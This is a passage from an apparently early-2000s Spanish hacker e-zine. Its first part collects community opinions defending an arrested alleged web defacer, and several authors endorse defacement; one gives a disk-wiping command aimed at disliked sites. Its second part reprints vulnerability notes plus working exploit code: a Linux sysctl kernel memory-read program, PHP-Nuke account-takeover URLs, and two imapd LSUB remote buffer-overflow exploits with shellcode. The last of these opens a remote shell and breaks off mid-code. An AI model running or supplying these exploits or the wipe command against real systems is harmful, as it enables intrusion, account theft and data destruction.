Contenido : Aqui debiera ir tu sabiduria... y esfuerzo!





,øñ°`´°ñø¸
-<[ 17 ]>-
`°ñø,¸,øñ°

Autor : Varios
Titulo : Comentarios, Reflexiones, Criticas!

Autor : Ytrium
E-Mail : ytrium@350cc.com

Ya esta weno que nos traten como algo que no somos,delincuentes,los verdaderos
delincuentes son aquellos que les roban a los pobres para darselo a los ricos,
algo incomprensible,los gobiernos, ayudados por la prensa sensacionalista, lo
unico que tratan de hacer es poner un ejemplo,un ejemplo que no va a funcionar
los hackers van a existir siempre, cuando estemos viejos, niñitos de 13 años,
llevados por su curiosidad,van a seguir estudiando como vulnerar sistemas.

Nuestro amigo ThEye es una persona inteligente, y curioso, preocupado por la
realidad del pais en cuanto a la seguridad informatica, ¿ y por eso es un
delincuente?, ¿por ello le mandan una orden de arresto? esta bueno ya, somos
mentes inquietas, personas que conocen la realidad informatica actual, sin
nosotros la red seria lo que fue en el principio, una red de menos de 100
computadores, administrados por militares estadounidenses. Esta bien, lo que
cometio Theye es un crimen (si esque en verdad fue el quien lo cometio, debido
a que no es nada seguro... y bajo la falta de pruebas que lo puedan inculpar)
para ustedes, pero si piensan bien, despues de que el entro en los diversos
sistemas, ¿no se hicieron mas seguros?, lo que hizo, en verdad,fue reforzar la
seguridad de esos sistemas, Theye nunca borro un archivo, cuando entro en
los sistemas (imaguinando que el haya sido), no destruyo nada, lo unico que
hizo fue avisar al administrador, a su manera, pero les aviso.

Lo unico que les digo a aquellos que quieren ponernos tras las rejas: Fuck Off!!
la red es nuestra, libre, sin regulaciones de gobiernos.

Y para nuestro amigo Theye: Fuerza Compare!!, 0wn3d, 350cc, EST, todo el under
te apoya, asi que anda con la frente en alto al tribunal.

Autor : Ytrium
Correo : ytrium@350cc.com



Autor : To4s7
Correo : to4s7@350cc.com

Como veran. en este articulo, no esta precisamente orientado a fines tecnicos
ni eticos, es mas, ni siquiera esta orientado a lo que es informatica propia-
mente tal.

El proposito de este texto, es de ( nuevamente ) ver la absurda realidad que
se hace presente en nuestro pais y las conductas que toman las "autoridades"
para hacerce respetar ( que por lo demas son *PATETICAS* ).
Un dia, -no recuerdo especificamente cual-, de vacaciones, luego de pasar
una tarde con amistades, volvi a mi casa con el fin de prepararme a salir
para la noche.

Cual habra sido mi sorpresa, al oir en los titulares de las noticias naciona-
les " ha sido atrapado el primer hacker criollo ". OK, me dije, tratando de
esquivar lo inevitable, debe haber sido un chiquillo que entro por entrar
a algun sistema con algun bug sencillo y no supo que hacer. Luego, al comen-
zar la noticia, la tipa esa dijo " el pirata con residencia en..." . Justo en
ese momento, mi mente preoceso por lo menos unas 100.000 veces la frase " Que
no sea en Antofagasta".Dicho y hecho.. " ...con residencia en Antofagasta y
de iniciales R.A fue descubierto..." en ese momento e impulsivamente mis
ojos comenzaron a botar las primeras lagrimas. Se trataba de mi casi-hermano
Theye, quien, en un acto que yo no podia comprender aun, cayo en manos de la
"justicia". Esto no podia quedar asi, no podia ser, no habia causas ni razones
para que el hubiera caido ahi.

Entonces fue necesario hacer memoria, para tratar de encontrar una explicacion
a tan insolito hecho.

Recorde cuando un dia, medio borracho, chatie con el ( por ultima vez ) y
de la nada salio el tema , acerca de su "crackeo" en minsal.cl, el cual solo
tenia en el index "0wn3d by SySt00rm". Le hice ese comentario, ya que , por
lo general, el nunca hace un crackeo porke si.

Nueva sorpresa para mi, me respondio que el nisiquiera conocia esa url.

Al mismo tiempo me encontraba en el canal #linux, en el cual mencionaban un
"crackeo triple". Por mera curiosidad fui a ver ese crackeo,y fue impactante
para mi ver que salia en atrittion.org [ofst] www.minsal.cl. Wow, me dije
aca hay algo raro, este chico se trae algo entre manos.Le comente esto a Theye
y no le dio mayor importancia.

A mi criterio, esos fueron los primeros indicios para tratar de inculparlo.

Bueno, de ahi supongo que paso lo que todos sabemos y vimos por television,
diarios, y por supuesto en internet. En ese entonces yo no tenia metodos de
conseguir algun PC a mano ( cuandoestaba de vacaciones ) asi que debi
devolverme antes de lo previsto, para saber de la situacion actual de este
problema.

Fue alentador leer que lo grupos mas importantes de chile se habian unido
en una fuerte y poderosa campaña pacifica para llegar a un posible acuerdo
con el gobierno.
Pero yo sentia que debia hacer algo por Theye. De alguna forma, esta era mi
oportunidad de devolverle la mano a todo lo que el me habia ofrecido.

Mas de alguna vez me lo habra sacado en cara en una de nuestras pocas
disputas " tu no serias nada si no fuera por mi". No estaba del todo equivo-
cado. Con ansias reccuerdo los dias en que yo le preguntaba hasta el
cansancio cosas que, ahora si alguien me las pregunta a mi, no tendria la
paciencia de contestar.El si la tenia. El me orientaba cuando no tenia rumbo.
El era mi defensa cuando cometia algun error y no tenia escapatoria. El era
era mi sentido cuando yo hacia el ridiculo.

Por eso lo menos que puedo hacer es dedicarte este articulo, roberto, y
seguir en pie, para que puedas salir adelante.

Todos estamos contigo, amigo, compañero y genio.

Autor : To4s7
Correo : to4s7@350cc.com




Autor : KraptoR
Correo : kraptor@usa.net

De todos las noticias, reacciones y declaraciones por el caso de Theye, me
llamo mucho la atencion la declaracion de cierta persona, que si bien
no recuerdo el nombre, por que la noticia la lei hace cacha de tiempo
generaliza mucho la postura de los querellantes, lo que si recuerdo muy
bien es como respondia a todas las " escusas " (como ellos lo interpretan),
que daban los hackers, y por sobre todo a esta : "Nosotros estamos ayudando
a que las empresas se den cuenta que sus niveles de seguridad son precarios,
que cualquier delincuente o ciberterrorista internacional, puede acceder a
informacion realmente secreta e importante", frente a esto la respuesta del
tipo fue...
<< ¡Pero si nadie les pidio que lo hicieran!, la forma en que lo hacen no es
correcta. Si quieren colaborar como dicen, entonces que den la cara, y se
contacten con nosotros, y nos avisen.>> Que decir...

Quizas sea verdad que nadie nos lo pide, quizas los medios no sean los
correctos, pero alguien se puede imaginar otra forma; estas personas creen
que los que entran y dejan mensajes son los "malos", no se percatan que en
realidad si hay otros que entran y no dejan señales, ni nada que indique una
posible intrusion... Solo me gustaria decirles a esas empresas, que estan
realmente equivocadas en su querella, no deberian perder tanto tiempo en esto,
y dedicarse a protegerse, no porque se trate de una ciberguerra, sino solo
porque los verdaderos ciberterrorista no van a dejar de actuar por el
escandalo que se hizo por la captura del primer "hacker chileno" por parte de
la <<ciberbrigada>>.

Autor : KraptoR
Correo : kraptor@usa.net



Autor : meth0dist
E-Mail : meth0dist@usa.net

Pienso que el gobierno esta haciendo muy mal en lo que respecta al caso del
"ThEye" y el unico que va a salir perjudicado va a ser el mismo gobierno. Es
totalmente injusto que se metan en su casa, requisen su Pc, etc. Cosa que no
hacen en otras cirscunstancias de peores y horrendos delitos. En estos casos
el gobierno quiere venir a hacerse el fuerte e omnipotente, cuando en cambio,
violadores y asesinos son soltados al mes de prision, volviendo a cometer los
mismos delitos.

El gobierno chileno esta muy mal en lo que respecta a la informatica, son unos
ignorantes y mas encima ahora vienen a darselas de expertos.No puedo creer que
a un una persona muy joven, que lo unico que hizo fue entrar a un sistema y
hackearlo lo vayan a meter preso por cerca de tres años, es una estupidez.

Al contrario esa persona encontro un fallo de seguridad en un sistema,cosa que
si hubiera hecho otro persona con fines maliciosos, quizas que cosa habria
hecho. El gobierno tiene que darse cuenta de que esta actuando mal o sino va a
salir muy perjudicado.

Espero que todos apoyen esta causa.

Autor : methodist
E-Mail : meth0dist@usa.net



Autor : bAnkZide
Correo : bAnkZide@usa.net

Estaba tratando de dormir, pero mi hermano estaba viendo las noticias con el
volumen bien alto. No me quedaba otra, ke tratar de seguir durmiendo cuando de
repente escucho "Detenido primer hacker chileno...", rapidamente me levanto y
voy hacia la television. Fue una noticia larga donde se mencionaron muchas
cosas sobre el under nacional, como si fuera algo ke venda y ke a la gente le
interese. Yo creo ke si, por ke es algo nuevo para la sociedad una nueva
especie de "crimen". Pero, "hacker" acaso la gente sabe lo ke es? delitos
informaticos? cybercrimen? Imaginense un campesino ke sintoniza solo un canal
de la tv abierta y ve esa noticia. Que se imaginara del acusado? Un terrorista?
Cada persona emite su juicio al respecto, pero yo, y la gente del under
nacional sabe perfectamente ke Theye es inocente,y ke en ningun momento el uso
sus conocimientos para obtener beneficios economicos, ni nada por el estilo
sino entrego parte de su tiempo para educar y lanzar una revista para ensenar.

Los medios hablan de un genio de la informatica, de su alto puntaje en la PAA,
y de entrar numero uno a su carrera, como si eso fueran argumentos de defensa.
Aki la defensa yo creo esta en tratar de explicar a las autoridades cual es
nuestro objetivo. Dar a entender ke nosotros nos pasamos horas de horas
leyendo y estudiando para beneficio personal y para despues tratar de mejorar,
principalmente la seguridad en servidores chilenos.

Se habia anunciado la creacion de la "Brigada de Delitos Informaticos, o algo
por el estilo" con el fin de parar a los "hackers". En mi opinion detuvieron
al primer hacker ke pudieron y hacerlo publico demostrando ke su brigada ya
estaba dando frutos de trabajo. Estos giles ahora se creen como reyes diciendo
ke esta todo bajo control y mas o menos ke tienen a todos en la palma de la
mano, dando estadisticas sobre 30 hackers a nivel mancional, como si supieran
todo. El unico objetivo de estos weones es demostrar publicamente ke ganaron
esta vez,ya ke esta claro ke para este caso utilizaron a la prensa como aliado
para poner a la sociedad en contra, y lo seguiran haciendo, porke yo creo ke
esto acaba de comenzar.

Autor : bAnkZide
Correo : bAnkZide@usa.net



Autor : ViC3nT
Correo : vic3nt@hotmail.com

Mi comentario al respecto de la situacion que ocurrio a nuestro compan~ero,
TheEye, es el siguiente:

Todavia no puedo creer el trato que se le da a la gente joven en este pais,
como dijo una periodista prestigiosa, lo procesan por "exceso de creatividad"
lo cual lo encuentro increible, en el sector donde vivo, veo diariamente gente
vendiendo droga en las calles y tambien veo como nuestra policia se pasea
haciendo vista gorda e incluso sacando provecho de la situacion, acaso no son
esas personas quienes deben estar tras las rejas?, en este pais siempre vamos
a estar 20 an~os debajo de paises desarrollados, puesto que gastamos recursos
y personas en encontrar a alguien que quiere mostrar lo inseguros que somos en
lo que a Internet se refiere en vez de securizar nuestros sistemas y capacitar
a nuestros administradores, Espero que esto cambie por el bien de nosotros
mismos y de nuestra Internet que por culpa de legislaciones injustas y
empresas que se aprovechan de ello, va de mal en peor.

=ViC3nT BlaCk=

Autor : ViC3nT
Correo : vic3nt@hotmail.com



Autor : PlaXiuS
Correo : plaxius@bigfoot.com

Sobre el caso the Eye ya he dado mi opinión en varias oportunidades pero a
veces los medios arreglan lo que uno dice a la pinta de ellos.

Creo que primero que nada en realidad no sabemos si nuestro amigo y colega
The Eye es responsable de los actos que se le imputan.

Mi vision general del tema es que el gobierno ha tomado un camino errado
para la solucion del problema real, puesto que juzgar o condenar a alguien
no resolvera el problema de fondo que es la seguridad de sus sitemas de
información, que albergan información relevante para el pais. Ya no se trata
del gobierno ni de un color politico es un problema que afecta a toda la
sociedad chilena.

Personalmente no estoy de acuerdo con el Webcrack .. siempre y cuando sea
por un tema muy justificado (yo creackaría sitios que albergaran pornografia
infantil sin ningun remordimiento aunque esto sea considerado como delito).
Creo que la mejor manera de demostrar las vulnerabilidades de un sistema es
avisando a los admins de dichos sitios que mejoren su seguridad, de esta forma
no se daña la imagen de la empresa o corporacion y no le quitas su fuente de
trabajo a personas que tienen familias que alimentar y responsabilidades que
asumir.

Bueno para finalizar quiero hacer un llamado a la comunidad Under Chilena a
mantener la calma lo peor que podriamos hacer es ponernos a crackear sitios
para presionar al gobierno o a la subtel, puesto que lo unico que lograriamos
es que la prensa (como las Utlimas Noticias) nos siga tratando de delincuentes
y seremos siempre los malos de la pelicula ... siendo que todos sabemos que la
realidad no es asi.Creo que podemos solucionar este problema en forma pacifica
y talvez concretando algo en beneficio de nuestra comunidad y el gobierno, mas
que eso de nuestro pais ... puesto que tenemos como mision sacar a Chile del
subdesarrollo para lograr un lugar mucho mejor para vivir con oportunidades
reales.

Autor : PlaXiuS
Correo : plaxius@bigfoot.com




Autor : NetKrash
Correo : netkrash@bitchx.cl

weno.. aki voy con mi opinion acerca de lo k le paso a theye..

primero k nada, no considero a theye como hacker, ni yo mismo me considero
hacker, para mi los hackers desaparecieron hace bastante tiempo... el
verdadero sentido y significado de esta palabra se ha perdido y/o esvirtuado
totalmente en el tiempo.. el hecho de k alguien sepa bastente de computacion
o informatican, y sea capaz de vulnerar y penetrar sistemas ajenos usando o
no sus propias herramientas para conseguirlo, no lo convierte en hacker,
para mi un hacker es un tipo k no necesariamente sea un guru en informatica
sino k a la vez sea bastante bueno y culto en muchos aspectos, capaz de
superar problemas y capaz de crear kosas desde cero, todo esto aplicable a
los problemas de la vida diaria, usando la informatica como herramienta.

Hacker es el k invento el email, hacker es el k creo el lenguaje de
programacion en C, al k se le ocurrio internet, etc los hacker no cambian
webs, de seguro tienen cosas mas importantes y mucho mas dificiles y
complikadas k cambiar una simple web. hoy por hoy eso puede sonar realmente
c00l decir, wuau yo crackeo aki crackeo alla, para k te aplaudan y sepan el
poder k tienes, bueno te digo eso es basura... cualkera k se lo propone lo
hace, no hay k ser genio ni superdotado, ni tener un ekipo potenticimo, nada
de eso, por ese aspecto me molesta un poco k las personas llamen hackers a
la gente k crackea.. hasta yo he crackeado y no soy para nada algo k se
asemeje a un hacker, en realidad no fue un gran reto.. ahora el otro lado de
la moneda es k no considero al theye una delincuente por hacer lo k hizo, yo
se k es ilegal y no hay nada k hacer, la ley es la ley, pero de verdad k no
merece pasar por lo k esta pasando, es una estupidez k un compadre joven
re100 ingresado a la U, con el puntaje mas alto etc, este citado a declarar
y despues capaz k lo detengan, etc etc ya se saben el cuento.. la wea es k
es estupido k pase por eso debido a una pendejada!! -crackear una web-. yo
no lo conoco en persona ni nada, pero me da la impresion k no es malo, ni
ladron, etc. solo un loko capaz de hacer lo k hizo y lo demostro.. ahora
biene otro aspecto.. hay gente k dice " los k crackean webs, aseguran los
servers, ya k los admins responden y arreglan, y despues de un crackeo el
server es mas seguro", respecto a eso es absolutamente cierto, pero sin
embargo hay k pensar.. de kien es la pega de admin? del theye o del weon k
le pagan por k la wea funcione??? esa es la cuestion.. si el theye -o
cualkiera- kiere demostrar la inseguridad y vulnerabilidades de un server..
puede hacer una asesoria en seguridad y cobrar wena plata :D ... pero en
verdad eso de crakear webs y te lleven preso lo encuentro un CHISTE.. ademas
aki en este pais ni sikiera se cuenta con una LEY COMPLETA al respecto
falta mucho por aprender en ese campo.. ahora para terminar.. k es lo k
apoyo y k es lo k no.. apoyo k se crakee una web bajo la siguientes
condiciones...

1) avisar al admin de lo k esta mal en su server, si despues de una semana la
wea no cambia... hechate la wea :D.. pa k aprenda el rq flojo k la wea no es
chiste y k si le tan pagando k mueva las pelotas.

2) estoy en desacuerdo de esa gente k destruye el sistema y la informacion de
empresas, etc.. si supieran lo k es el trabajo y lo k kuesta ganarse la plata
en esta vida.. creo k no lo harian...

3) desacuerdo con la gente k bota webs por las puras, o pa k le aplaudan en
IRC.. no es k me caigan mal ni nada, solo k lo encentro perder el tiempo
cuando prodria estar haciendo cosas mucho mejores.

4) apoyo los mensajes ocultos k no afectan a nadie.. es la raja leer los .txt
k dejan en los servers.. la verdad me recago de la risa.

5) apoyo los FORMATEOS a toos los sitios NAZI.. de verdad me desagrada esa
gente k se cree superior y mira al resto en menos y discriminan por color,sexo
raza, creencia , etc.. es realmente enfermante..

6) porno infantil fuera, tambien rm -rf /etc/* && dd if=/dev/null of=/dev/hda*

ya mierda termine se van a la chucha los k keran leer ordenada la wea... ahora
los saluos...

1 saluo ultra especial pa ella sabe kien es (la freak alien mas linda k existe
:*) pa tod@s los cabr@s del #punk pa los wecosdel #informatica y los de #linux.

fset format_version l1nux w1ll rul3 t1ll th3 end 0f th3 d4ys..

ya saben cabros haganse hombres - Slackware la llea
haganse hombres en IRC - BitchX r00lZ
haganse hombres con X - blackbox the One and Only!!!!
grax aiooo: NetKrash

Autor : NetKrash
Correo : netkrash@bitchx.cl -


Autor : Varios
Titulo : Comentarios, Reflexiones, Criticas!
EleKtr0: "Gracias a todos los que enviaron sus comentarios y reflexiones de
este delicado tema que efecta a nuestro amigo ThEye, gracias..."

,øñ°`´°ñø¸ 
-<[ 18 ]>-
`°ñø,¸,øñ°


Autor : EleKtr0
Titulo : Bug`s & Exploit`s
Fuente : Hispasec - Hack.co.za - SecuriTeam - Packetstorm

Cisco actualiza el IOS para prevenir una vulnerabilidad
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Debido a la existencia de múltiples vulnerabilidades en sus productos, Cisco
ofrece actualizaciones gratuitas de los sistemas operativos IOS y CatOS que
controlan sus routers y switches. Se han descubierto un gran número de
vulnerabilidades diferentes entre sí aunque relacionadas que afectan a la
creación y exposición de cadenas comunitarias. Estos fallos pueden ser
empleados para conseguir acceso no autorizado y visualizar o modificar los
dispositivos afectados. Sólo son vulnerables los productos Cisco con las
versiones de IOS afectadas por estos problemas, que son las siguientes:
Los routers Cisco de las series 800, 1000, 1005, 1400, 1600, 1700, 2500, 2600,
3600, MC3810, 4000, 4500, 4700, 6200, 6400 NRP, 6400 NSP. Los routers de banda
ancha ubr900 y ubr920. Los Switches Catalyst de las series 2900 ATM, 2900XL,
2948g, 3500XL, 4232, 4840g, 5000 RSFC, 8510CSR, 8510MSR, 8540CSR y 8540MSR.
Servidores de acceso 5200, 5300, 5800. Catalyst 6000 MSM, 6000 Hybrid Mode,
6000 Native Mode, 6000 Supervisor Module y Catalyst ATM Blade. Routers Cisco
de las series RSM, 7000, 7010, 7100, 7200, ubr7200, 7500, 10000 ESR y 12000
GSR. DistributedDirector. Para determinar la versión del sistema operativo
que se ejecuta en cada dispositivo es necesario acceder al sistema e
introducir el comando "show version". El software se identificará a si mismo,
en la segunda línea se mostrará el número de versión del sistema, por ejemplo:
Cisco Internetwork Operating System Software IOS (tm) 2500 Software
(C2500-IS-L), Version 12.0(3), RELEASE SOFTWARE Dependiendo del dispositivo
y de la versión instalada de IOS será necesario instalar una actualización
diferente, por lo que recomendamos acudir a la página de Cisco donde se
precisan todos los detalles sobre las actualizaciones y contramedidas para
evitar el problema en la dirección:

http://www.cisco.com/warp/public/707/ios-snmp-community-vulns-pub.shtml




Una URL puede provocar un fallo en un servicio de IIS 5 y Exchange 2000
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Internet Information Server 5.0 contiene un error que afecta en la forma en
que se tratan las URLs con una construcción y longitud específicas. Si se
envían múltiples peticiones de dicha URL específicamente diseñada podrá causar
un error en la asignación de memoria que provocará un fallo en el servicio
IIS. Esta vulnerabilidad de denegación de servicios también afecta a
Exchange 2000. Esto ocurre debido a la necesidad de soportar clientes de
correo basados en web, Exchange introduce diversos componentes de IIS 5.0,
y una parte del código que conforma el servidor de correo es el afectado por
el problema. Los dos programas contienen el mismo error, que puede ser
explotado de la misma forma, pero el efecto en ambos casos será la caída del
servicio IIS. En ningún caso el servidor Exchange sufrirá por un ataque de
este tipo, por lo que los usuarios podrán seguir usando sus clientes de
correo de forma habitual. Tan sólo se ve afectado el servicio IIS, por lo
que en tal caso si se verán afectados los usuarios que hagan uso de un
cliente de correo basado en web. Como el problema ocurre en dos módulos
diferentes, uno de los cuales se instala como parte de IIS 5.0 y ambos
forman parte de Exchange 2000, los administradores de Exchange 2000 deben
instalar los dos parches que publica Microsoft para corregir el problema. Esta
vulnerabilidad tiene varios factores que mitigan su gravedad. En primer lugar
en ningún caso podrá permitir a un atacante la consecución de privilegios
administrativos o cualquier tipo de control sobre el servidor. Por otra parte
los servicios afectados se reinician de forma automática en caso de fallo, por
lo que los sistemas afectados podrán reanudar su funcionamiento de forma casi
inmediata.


Linux kernel sysctl() vulnerability (Exploit)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The Linux system call sysctl()is used to query and modify runtime system
settings. Unprivileged users are permitted to query the value of many of these
settings, where the unprivileged user passes in a buffer location and the
length of this buffer. Unfortunately, by specifying a negative buffer length,
a user can read arbitrary kernel memory.


Looking at linux/kernel/sysctl.c: sysctl_string()

int l, len;
...
if (oldval && oldlenp) {
if(get_user(len, oldlenp))
return -EFAULT;
if (len) {
l = strlen(table->data);
if (len > l) len = l;
if (len >= table->maxlen)
len = table->maxlen;
if(copy_to_user(oldval, table->data, len))
return -EFAULT;

The contents of variable "len" are totally under the control of a malicious
user. Since len is declared as signed, a negative value may be used. This
bypasses the "len >= table->maxlen" check and copies kernel data to userspace,
starting at "table->data".


The sysctl.c file contains several signed/unsigned mix-ups like the above.

To exploit this, there are a couple of minor issues.

1) Copy_to_user() virtual address space wrap check. A check in the kernel
means we need to place the destination user space buffer low in the virtual
address space, using mmap(). The default heap location on i386 is too high.

2) The usefulness of this exploit will vary deepening upon if the address of
the table->data pointer used, is before interesting kernel stuff. or not on
ix86 Linux, this certainly seems to be the case.

Fix:
The recent flurry of updated kernels from vendors includes a fix for the
sysctl() problem. The fix is essentially to use unsigned variables for the
lengths.

Exploit:
/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;

int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -2000000000;
int fd;
char* p_buf;

fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);

memset(p_buf, '\0', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);

args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;

_sysctl(&args_of_great_doom);

fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}

Additional information The information has been provided by Chris Evans
<mailto:chris@SCARY.BEASTS.ORG>.




Programa: PHP-NUKE
Vendor Homepage: http://www.phpnuke.org
Vendor Contacted: 27/feb/2001
Vendor Response: ??/??/??
Vendor Fix: ??/??/??
Version tested: 4.4.1a (latest version to date)
Found by: venomous
English translation: ka0z

- Problem description:
~~~~~~~~~~~~~~~~~~~~

The checks that are realized in the function saveuser() are not enough to
block abitrary information being passed to the query of MySQL.
[!] There are also many other functions that can be exploited the same way
described in the advisory. This adivisory describes only the function
saveuser().

- Impact:
~~~~~~~

It's possible for the attacker to change the e-mail address of one of the
users and ask for the password to be sent to the e-mail address that the
attacker have provided.
Of course this isn't easy since we do not know the UID of each of the
users, but this this type of information is easily obtained with
bruteforce checks.

- Exploit:
~~~~~~~~

powerhouse:~$ /bin/echo -e "0:<user>:2:3:4:5:6:7:8:eee" | uuencode -m f
begin-base64 644 f
MDpBbm9ueW1vdXM6MjozOjQ6NTo2Ojc6ODplZWUK [***]

lynx http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=<user>

The variables you can change the value are:

name='',email='', femail='', url='', bio='' , user_avatar='',
user_icq='', user_occ='', user_from='', user_intrest='', user_sig='',
user_aim='', user_yim='', user_msnm=''

In other words, if we want to change the e-mail address, we do:

lynx
http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=<user>&email=
<email you want>

If you ask for the password to be sent to e-mail, you would be able to
access the account.

- Code:
~~~~~

Very simple script to demostrate the vulnerability:

You can get it from http://www.rdcrew.com.ar, code section.

- Fix:
~~~~

Wait for a patch from the author.


- Contact us:
~~~~~~~~~~~

Advisories, tools, IDS, texts and other stuff can be found at:
http://www.rdcrew.com.ar


venomous@rdcrew.com.ar

- Greets:
~~~~~~~

people: ka0z, den0, E|Bruj0, storm, ab.
channels: #flatline at coredumped

[EOF]




Descripcion: Imapd v12.264 remote exploit for Red Hat-Exploits an overflow in
the LSUB command, which requires an account. Tested on Red Hat 5.1, 5.2, 6.0,
6.1, and 6.2 with IMAP4rev1 v10.223, v11.241, v12.250, and v12.264.


Nombre : imapd_lsub.c
Sistema : Linux / Red Hat 5.1 5.2 6.0 6.1 6.2
Tipo : Remoto
Daemon : imapd

Exploit:

/* Exploit by Narrow <nss@privacyx.com> (29 September 2000) */

#include <stdio.h>
#include <string.h>

struct types {
char *imapver;
unsigned long ret_addr;
int offset;
};

struct types types[] = {
{"Red Hat 6.2 - IMAP4rev1 v12.264",0xbffff2c8,0},
{"Red Hat 6.1 - IMAP4rev1 v12.250",0xbffff2c4,0},
{"Red Hat 6.0 - IMAP4rev1 v12.250",0xbffff2f0,0},
{"Red Hat 5.2 - IMAP4rev1 v11.241",0xbffff320,0},
{"Red Hat 5.1 - IMAP4rev1 v10.223",0xbffff31c,0},
{NULL,0,0}
};

char shellcode[] = /* shellcode from imapx.c */
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
"\x2f\x32\x39\x3e\x2f\x43\x38";

int main(int argc, char **argv)
{
char buf[1064];
int i,type;

if(argc < 3) {
printf("Usage: %s <username> <password> <type>\n\n", argv[0]);
printf("Type:\n");
for(i=0; i<=4; i++) printf("%d - %s\n", i, types[i].imapver);
return 0; } type = atoi(argv[3]);
memset(buf, 0x90, 1032);
memcpy(buf+613, shellcode, strlen(shellcode));
for(i=strlen(shellcode)+613; i<=1064; i+=4)
*(long *)&buf[i] = (unsigned long)types[type].ret_addr - types[type].offset;
printf("1 LOGIN %s %s\r\n", argv[1], argv[2]);
printf("1 LSUB \"\" {1064}\r\n");
for(i=0; i<1064; i++) putchar(buf[i]);
printf("\r\n");
}




Descripcion: imapd remote lsub vulnerability
Nombre : lsub.c
Sistema : Linux / slackware 7.1/7.0 & redhat 6.2
Tipo : Remoto
Daemon : imapd

/*
* !!! Private !!!
*
* imapd IMAP4rev1 v12.261, v12.264 and 2000.284 Remote Exploit. Others? Yes!
*
* By: SkyLaZarT ( fcerqueira@bufferoverflow.org ) .aka. Felipe Cerqueira
* Homepage: www.BufferOverflow.Org
* Thankz: cync, oldm and Jans. ( BufferOverflow.org Team )
* Antonio Marcelo and Felipe Saraiva
*
*/



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

#define SIZE 1064
#define NOP 0x90
#define RET12261 0xbffff3ec
#define RET12264 0xbffff4e0
#define RET12264ZOOT 0xbffff697
#define RET2000_284 0xbfffebc8

#define INIT(x) bzero(x, sizeof(x))
#define READ(sock,x) read(sock, x, sizeof(x))


#define TIMEOUT 20

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int debug = 0;


void openshell(int sock, int check);
void processSignal(int signum);

void processSignal(int signum) {
fprintf(stderr, "Time out!!\n");
exit(-1);
}


void openshell(int sock, int check) {
char buffer[1024];
fd_set rset;
int i;

while(1) {
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(fileno(stdin), &rset);

select(sock + 1, &rset, NULL, NULL, NULL);

if (FD_ISSET(sock, &rset)) {
if ((i = read(sock, buffer, sizeof(buffer))) <= 0) {
fprintf(stderr, "Connection terminated!\n");
close(sock);
exit(-1);
} else {
buffer[i] = 0x00;
if(check) {
if (!(strstr(buffer, "uid"))) {
fprintf(stderr, "Exploit failed\n");
exit(-1);
} else {
fprintf(stderr, "Exploit Success!!\n");
check = 0;
}
}

puts(buffer);
}
}

if (FD_ISSET(fileno(stdin), &rset)) {
if ( check ) write(sock, "id\n", 3);

if ((i = read(fileno(stdin), buffer,
sizeof(buffer))) > 0) {
buffer[i] = 0x00;
write(sock, buffer, i);
}
}
}
}


int main(int argc, char **argv) {
char buffer[SIZE], sockbuffer[2048];
char *login, *password;
long retaddr;
struct sockaddr_in sin;
struct hostent *hePtr;
int sock, i;

fprintf(stderr, "\nRemote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284\n"
"Developed by SkyLaZarT - www.BufferOverflow.org\n\n");

if ( argc < 5 ) {
fprintf(stderr, "%s <host> <login> <password> <type> [offset]\n", argv[0]);
fprintf(stderr, "\ttype: [0]\tSlackware 7.0 with IMAP4rev1 v12.261\n"
"\ttype: [1]\tSlackware 7.1 with IMAP4rev1 v12.264\n"
"\ttype: [2]\tRedHat 6.2 ZooT with IMAP4rev1 v12.264\n"
"\ttype: [3]\tSlackware 7.0 with IMAP4rev1 2000.284\n\n");


exit(-1);
}

login = argv[2];
password = argv[3];

switch(atoi(argv[4])) {
case 0: retaddr = RET12261; break;
case 1: retaddr = RET12264; break;
case 2: retaddr = RET12264ZOOT; break;
case 3: retaddr = RET2000_284; break;
default:
fprintf(stderr, "invalid type.. assuming default "
"type 0\n");
retaddr = RET12261; break;

}

if ( argc == 6 )
retaddr += atoi(argv[5]);

signal(SIGALRM, processSignal);

fprintf(stderr, "Trying to exploit %s...\n", argv[1]);

fprintf(stderr, "Using return address 0x%08lx. Shellcode size: %i bytes\n\n", retaddr, strlen(shellcode));


alarm(TIMEOUT);
hePtr = gethostbyname(argv[1]);
